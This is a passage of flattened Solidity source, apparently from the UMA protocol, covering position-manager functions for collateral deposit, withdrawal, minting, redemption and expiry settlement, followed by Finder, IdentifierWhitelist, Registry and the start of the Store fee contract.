creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param sponsor the sponsor to credit the deposit to. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(sponsor) fees() nonReentrant() { require(collateralAmount.isGreaterThan(0), "Invalid collateral amount"); PositionData storage positionData = _getPositionData(sponsor); // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); emit Deposit(sponsor, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public { // This is just a thin wrapper over depositTo that specified the sender as the sponsor. depositTo(msg.sender, collateralAmount); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor. * @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization * ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss. * @param collateralAmount is the amount of collateral to withdraw. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdraw(FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require(collateralAmount.isGreaterThan(0), "Invalid collateral amount"); // Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure // position remains above the GCR within the witdrawl. If this is not the case the caller must submit a request. amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount); emit Withdrawal(msg.sender, amountWithdrawn.rawValue); // Move collateral currency from contract to sender. // Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees) // instead of the user requested amount. This eliminates precision loss that could occur // where the user withdraws more collateral than rawCollateral is decremented by. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position. * @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated. * @param collateralAmount the amount of collateral requested to withdraw */ function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(msg.sender) nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require( collateralAmount.isGreaterThan(0) && collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral)), "Invalid collateral amount" ); // Make sure the proposed expiration of this request is not post-expiry. uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness); require(requestPassTime < expirationTimestamp, "Request expires post-expiry"); // Update the position object for the user. positionData.withdrawalRequestPassTimestamp = requestPassTime; positionData.withdrawalRequestAmount = collateralAmount; emit RequestWithdrawal(msg.sender, collateralAmount.rawValue); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting * `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdrawPassedRequest() external onlyPreExpiration() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require( positionData.withdrawalRequestPassTimestamp != 0 && positionData.withdrawalRequestPassTimestamp <= getCurrentTime(), "Invalid withdraw request" ); // If withdrawal request amount is > position collateral, then withdraw the full collateral amount. // This situation is possible due to fees charged since the withdrawal was originally requested. FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount; if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) { amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral); } // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.withdrawalRequestPassTimestamp != 0, "No pending withdrawal"); emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); } /** * @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`. * @dev Reverts if minting these tokens would put the position's collateralization ratio below the * global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of * `collateralCurrency`. * @param collateralAmount is the number of collateral tokens to collateralize the position with * @param numTokens is the number of tokens to mint from the position. */ function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) public onlyPreExpiration() fees() nonReentrant() { PositionData storage positionData = positions[msg.sender]; // Either the new create ratio or the resultant position CR must be above the current GCR. require( (_checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount), positionData.tokensOutstanding.add(numTokens) ) || _checkCollateralization(collateralAmount, numTokens)), "Insufficient collateral" ); require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal"); if (positionData.tokensOutstanding.isEqual(0)) { require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); emit NewSponsor(msg.sender); } // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); // Add the number of tokens created to the position's outstanding tokens. positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens); totalTokensOutstanding = totalTokensOutstanding.add(numTokens); emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue); // Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); require(tokenCurrency.mint(msg.sender, numTokens.rawValue), "Minting synthetic tokens failed"); } /** * @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`. * @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral * in order to account for precision loss. This contract must be approved to spend at least `numTokens` of * `tokenCurrency`. * @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function redeem(FixedPoint.Unsigned memory numTokens) public noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require(!numTokens.isGreaterThan(positionData.tokensOutstanding), "Invalid token amount"); FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding); FixedPoint.Unsigned memory collateralRedeemed = fractionRedeemed.mul( _getFeeAdjustedCollateral(positionData.rawCollateral) ); // If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize. if (positionData.tokensOutstanding.isEqual(numTokens)) { amountWithdrawn = _deleteSponsorPosition(msg.sender); } else { // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); } emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue); // Transfer collateral from contract to caller and burn callers synthetic tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the * prevailing price defined by the DVM from the `expire` function. * @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of * `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for * precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function settleExpired() external onlyPostExpiration() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { // If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called. require(contractState != ContractState.Open, "Unexpired position"); // Get the current settlement price and store it. If it is not resolved will revert. if (contractState != ContractState.ExpiredPriceReceived) { expiryPrice = _getOraclePrice(expirationTimestamp); contractState = ContractState.ExpiredPriceReceived; } // Get caller's tokens balance and calculate amount of underlying entitled to them. FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender)); FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice); // If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt. PositionData storage positionData = positions[msg.sender]; if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) { // Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying. FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice); FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral); // If the debt is greater than the remaining collateral, they cannot redeem anything. FixedPoint.Unsigned memory positionRedeemableCollateral = tokenDebtValueInCollateral.isLessThan( positionCollateral ) ? positionCollateral.sub(tokenDebtValueInCollateral) : FixedPoint.Unsigned(0); // Add the number of redeemable tokens for the sponsor to their total redeemable collateral. totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral); // Reset the position state as all the value has been removed after settlement. delete positions[msg.sender]; emit EndedSponsorPosition(msg.sender); } // Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized, // the caller will get as much collateral as the contract can pay out. FixedPoint.Unsigned memory payout = FixedPoint.min( _getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral ); // Decrement total contract collateral and outstanding debt. amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout); totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem); emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue); // Transfer tokens & collateral and burn the redeemed tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue); tokenCurrency.burn(tokensToRedeem.rawValue); } /**************************************** * GLOBAL STATE FUNCTIONS * ****************************************/ /** * @notice Locks contract state in expired and requests oracle price. * @dev this function can only be called once the contract is expired and can't be re-called. */ function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() { contractState = ContractState.ExpiredPriceRequested; // The final fee for this request is paid out of the contract rather than by the caller. _payFinalFees(address(this), _computeFinalFees()); _requestOraclePrice(expirationTimestamp); emit ContractExpired(msg.sender); } /** * @notice Premature contract settlement under emergency circumstances. * @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`. * Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal * to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested` * which prevents re-entry into this function or the `expire` function. No fees are paid when calling * `emergencyShutdown` as the governor who would call the function would also receive the fees. */ function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() { require(msg.sender == _getFinancialContractsAdminAddress(), "Caller not Governor"); contractState = ContractState.ExpiredPriceRequested; // Expiratory time now becomes the current time (emergency shutdown time). // Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp. uint256 oldExpirationTimestamp = expirationTimestamp; expirationTimestamp = getCurrentTime(); _requestOraclePrice(expirationTimestamp); emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp); } /** * @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they * reflect the NAV of the contract. However, this functionality doesn't apply to this contract. * @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable * only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing. */ function remargin() external override onlyPreExpiration() nonReentrant() { return; } /** * @notice Drains any excess balance of the provided ERC20 token to a pre-selected beneficiary. * @dev This will drain down to the amount of tracked collateral and drain the full balance of any other token. * @param token address of the ERC20 token whose excess balance should be drained. */ function trimExcess(IERC20 token) external fees() nonReentrant() returns (FixedPoint.Unsigned memory amount) { FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(token.balanceOf(address(this))); if (address(token) == address(collateralCurrency)) { // If it is the collateral currency, send only the amount that the contract is not tracking. // Note: this could be due to rounding error or balance-changing tokens, like aTokens. amount = balance.sub(_pfc()); } else { // If it's not the collateral currency, send the entire balance. amount = balance; } token.safeTransfer(excessTokenBeneficiary, amount.rawValue); } /** * @notice Accessor method for a sponsor's collateral. * @dev This is necessary because the struct returned by the positions() method shows * rawCollateral, which isn't a user-readable value. * @param sponsor address whose collateral amount is retrieved. * @return collateralAmount amount of collateral within a sponsors position. */ function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory collateralAmount) { // Note: do a direct access to avoid the validity check. return _getFeeAdjustedCollateral(positions[sponsor].rawCollateral); } /** * @notice Accessor method for the total collateral stored within the PricelessPositionManager. * @return totalCollateral amount of all collateral within the Expiring Multi Party Contract. */ function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory totalCollateral) { return _getFeeAdjustedCollateral(rawTotalPositionCollateral); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire // position if the entire position is being removed. Does not make any external transfers. function _reduceSponsorPosition( address sponsor, FixedPoint.Unsigned memory tokensToRemove, FixedPoint.Unsigned memory collateralToRemove, FixedPoint.Unsigned memory withdrawalAmountToRemove ) internal { PositionData storage positionData = _getPositionData(sponsor); // If the entire position is being removed, delete it instead. if ( tokensToRemove.isEqual(positionData.tokensOutstanding) && _getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove) ) { _deleteSponsorPosition(sponsor); return; } // Decrement the sponsor's collateral and global collateral amounts. _decrementCollateralBalances(positionData, collateralToRemove); // Ensure that the sponsor will meet the min position size after the reduction. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); positionData.tokensOutstanding = newTokenCount; // Decrement the position's withdrawal amount. positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove); // Decrement the total outstanding tokens in the overall contract. totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove); } // Deletes a sponsor's position and updates global counters. Does not make any external transfers. function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) { PositionData storage positionToLiquidate = _getPositionData(sponsor); FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral); // Remove the collateral and outstanding from the overall total position. FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral; rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral); totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding); // Reset the sponsors position to have zero outstanding and collateral. delete positions[sponsor]; emit EndedSponsorPosition(sponsor); // Return fee-adjusted amount of collateral deleted from position. return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } function _pfc() internal virtual override view returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalPositionCollateral); } function _getPositionData(address sponsor) internal view onlyCollateralizedPosition(sponsor) returns (PositionData storage) { return positions[sponsor]; } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getFinancialContractsAdminAddress() internal view returns (address) { return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin); } // Requests a price for `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePrice(uint256 requestedTime) internal { OracleInterface oracle = _getOracle(); oracle.requestPrice(priceIdentifier, requestedTime); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) { // Create an instance of the oracle and get the price. If the price is not resolved revert. OracleInterface oracle = _getOracle(); require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price"); int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime); // For now we don't want to deal with negative prices in positions. if (oraclePrice < 0) { oraclePrice = 0; } return FixedPoint.Unsigned(uint256(oraclePrice)); } // Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0. function _resetWithdrawalRequest(PositionData storage positionData) internal { positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); positionData.withdrawalRequestPassTimestamp = 0; } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(positionData.rawCollateral, collateralAmount); return _addCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position. // This function is similar to the _decrementCollateralBalances function except this function checks position GCR // between the decrements. This ensures that collateral removal will not leave the position undercollateralized. function _decrementCollateralBalancesCheckGCR( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); require(_checkPositionCollateralization(positionData), "CR below GCR"); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _onlyOpenState() internal view { require(contractState == ContractState.Open, "Contract state is not OPEN"); } function _onlyPreExpiration() internal view { require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry"); } function _onlyPostExpiration() internal view { require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry"); } function _onlyCollateralizedPosition(address sponsor) internal view { require( _getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0), "Position has no collateral" ); } // Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the // `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral // or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`. function _positionHasNoPendingWithdrawal(address sponsor) internal view { require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal"); } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) { return _checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral), positionData.tokensOutstanding ); } // Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global // collateralization ratio. function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private view returns (bool) { FixedPoint.Unsigned memory global = _getCollateralizationRatio( _getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding ); FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens); return !global.isGreaterThan(thisChange); } function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private pure returns (FixedPoint.Unsigned memory ratio) { if (!numTokens.isGreaterThan(0)) { return FixedPoint.fromUnscaledUint(0); } else { return collateral.div(numTokens); } } } contract Finder is FinderInterface, Ownable { mapping(bytes32 => address) public interfacesImplemented; event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress); /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 of the interface name that is either changed or registered. * @param implementationAddress address of the implementation contract. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external override onlyOwner { interfacesImplemented[interfaceName] = implementationAddress; emit InterfaceImplementationChanged(interfaceName, implementationAddress); } /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the defined interface. */ function getImplementationAddress(bytes32 interfaceName) external override view returns (address) { address implementationAddress = interfacesImplemented[interfaceName]; require(implementationAddress != address(0x0), "Implementation not found"); return implementationAddress; } } contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ mapping(bytes32 => bool) private supportedIdentifiers; /**************************************** * EVENTS * ****************************************/ event SupportedIdentifierAdded(bytes32 indexed identifier); event SupportedIdentifierRemoved(bytes32 indexed identifier); /**************************************** * ADMIN STATE MODIFYING FUNCTIONS * ****************************************/ /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external override onlyOwner { if (!supportedIdentifiers[identifier]) { supportedIdentifiers[identifier] = true; emit SupportedIdentifierAdded(identifier); } } /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner { if (supportedIdentifiers[identifier]) { supportedIdentifiers[identifier] = false; emit SupportedIdentifierRemoved(identifier); } } /**************************************** * WHITELIST GETTERS FUNCTIONS * ****************************************/ /** * @notice Checks whether an identifier is on the whitelist. * @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external override view returns (bool) { return supportedIdentifiers[identifier]; } } contract Registry is RegistryInterface, MultiRole { using SafeMath for uint256; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // The owner manages the set of ContractCreators. ContractCreator // Can register financial contracts. } // This enum is required because a `WasValid` state is required // to ensure that financial contracts cannot be re-registered. enum Validity { Invalid, Valid } // Local information about a contract. struct FinancialContract { Validity valid; uint128 index; } struct Party { address[] contracts; // Each financial contract address is stored in this array. // The address of each financial contract is mapped to its index for constant time look up and deletion. mapping(address => uint256) contractIndex; } // Array of all contracts that are approved to use the UMA Oracle. address[] public registeredContracts; // Map of financial contract contracts to the associated FinancialContract struct. mapping(address => FinancialContract) public contractMap; // Map each party member to their their associated Party struct. mapping(address => Party) private partyMap; /**************************************** * EVENTS * ****************************************/ event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties); event PartyAdded(address indexed contractAddress, address indexed party); event PartyRemoved(address indexed contractAddress, address indexed party); /** * @notice Construct the Registry contract. */ constructor() public { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); // Start with no contract creators registered. _createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0)); } /**************************************** * REGISTRATION FUNCTIONS * ****************************************/ /** * @notice Registers a new financial contract. * @dev Only authorized contract creators can call this method. * @param parties array of addresses who become parties in the contract. * @param contractAddress address of the contract against which the parties are registered. */ function registerContract(address[] calldata parties, address contractAddress) external override onlyRoleHolder(uint256(Roles.ContractCreator)) { FinancialContract storage financialContract = contractMap[contractAddress]; require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once"); // Store contract address as a registered contract. registeredContracts.push(contractAddress); // No length check necessary because we should never hit (2^127 - 1) contracts. financialContract.index = uint128(registeredContracts.length.sub(1)); // For all parties in the array add them to the contract's parties. financialContract.valid = Validity.Valid; for (uint256 i = 0; i < parties.length; i = i.add(1)) { _addPartyToContract(parties[i], contractAddress); } emit NewContractRegistered(contractAddress, msg.sender, parties); } /** * @notice Adds a party member to the calling contract. * @dev msg.sender will be used to determine the contract that this party is added to. * @param party new party for the calling contract. */ function addPartyToContract(address party) external override { address contractAddress = msg.sender; require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract"); _addPartyToContract(party, contractAddress); } /** * @notice Removes a party member from the calling contract. * @dev msg.sender will be used to determine the contract that this party is removed from. * @param partyAddress address to be removed from the calling contract. */ function removePartyFromContract(address partyAddress) external override { address contractAddress = msg.sender; Party storage party = partyMap[partyAddress]; uint256 numberOfContracts = party.contracts.length; require(numberOfContracts != 0, "Party has no contracts"); require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract"); require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party"); // Index of the current location of the contract to remove. uint256 deleteIndex = party.contractIndex[contractAddress]; // Store the last contract's address to update the lookup map. address lastContractAddress = party.contracts[numberOfContracts - 1]; // Swap the contract to be removed with the last contract. party.contracts[deleteIndex] = lastContractAddress; // Update the lookup index with the new location. party.contractIndex[lastContractAddress] = deleteIndex; // Pop the last contract from the array and update the lookup map. party.contracts.pop(); delete party.contractIndex[contractAddress]; emit PartyRemoved(contractAddress, partyAddress); } /**************************************** * REGISTRY STATE GETTERS * ****************************************/ /** * @notice Returns whether the contract has been registered with the registry. * @dev If it is registered, it is an authorized participant in the UMA system. * @param contractAddress address of the financial contract. * @return bool indicates whether the contract is registered. */ function isContractRegistered(address contractAddress) external override view returns (bool) { return contractMap[contractAddress].valid == Validity.Valid; } /** * @notice Returns a list of all contracts that are associated with a particular party. * @param party address of the party. * @return an array of the contracts the party is registered to. */ function getRegisteredContracts(address party) external override view returns (address[] memory) { return partyMap[party].contracts; } /** * @notice Returns all registered contracts. * @return all registered contract addresses within the system. */ function getAllRegisteredContracts() external override view returns (address[] memory) { return registeredContracts; } /** * @notice checks if an address is a party of a contract. * @param party party to check. * @param contractAddress address to check against the party. * @return bool indicating if the address is a party of the contract. */ function isPartyMemberOfContract(address party, address contractAddress) public override view returns (bool) { uint256 index = partyMap[party].contractIndex[contractAddress]; return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ function _addPartyToContract(address party, address contractAddress) internal { require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once"); uint256 contractIndex = partyMap[party].contracts.length; partyMap[party].contracts.push(contractAddress); partyMap[party].contractIndex[contractAddress] = contractIndex; emit PartyAdded(contractAddress, party); } } contract Store is StoreInterface, Withdrawable, Testable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using FixedPoint for uint256; using SafeERC20 for IERC20; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, Withdrawer } FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee. FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee. mapping(address => FixedPoint.Unsigned) public finalFees; uint256 public constant SECONDS_PER_WEEK = 604800; /**************************************** * EVENTS * ****************************************/ event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee); event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc); event NewFinalFee(FixedPoint.Unsigned newFinalFee); /** * @notice Construct the Store contract. */ constructor( FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc, FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc, address _timerAddress ) public Testable(_timerAddress) { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender); setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc); setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc); } /**************************************** * ORACLE FEE CALCULATION AND PAYMENT * ****************************************/ /** * @notice Pays Oracle fees in ETH to the store. * @dev To be used by contracts whose margin currency is ETH. */ function payOracleFees() external override payable { require(msg.value > 0, "Value sent can't be zero"); } /** * @notice Pays oracle fees in the margin currency, erc20Address, to the store. * @dev To be used if the margin currency is an ERC20 token rather than ETH. * @param erc20Address address of the ERC20 token used to pay the fee. * @param amount number of tokens to transfer. An approval for at least this amount must exist. */ function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override { IERC20 erc20 = IERC20(erc20Address); require(amount.isGreaterThan(0), "Amount sent can't be zero"); erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue); } /** * @notice Computes the regular oracle fees that a contract should pay for a period. * @dev The late penalty is similar to the regular fee in that is is charged per second over the period between * startTime and endTime. * * 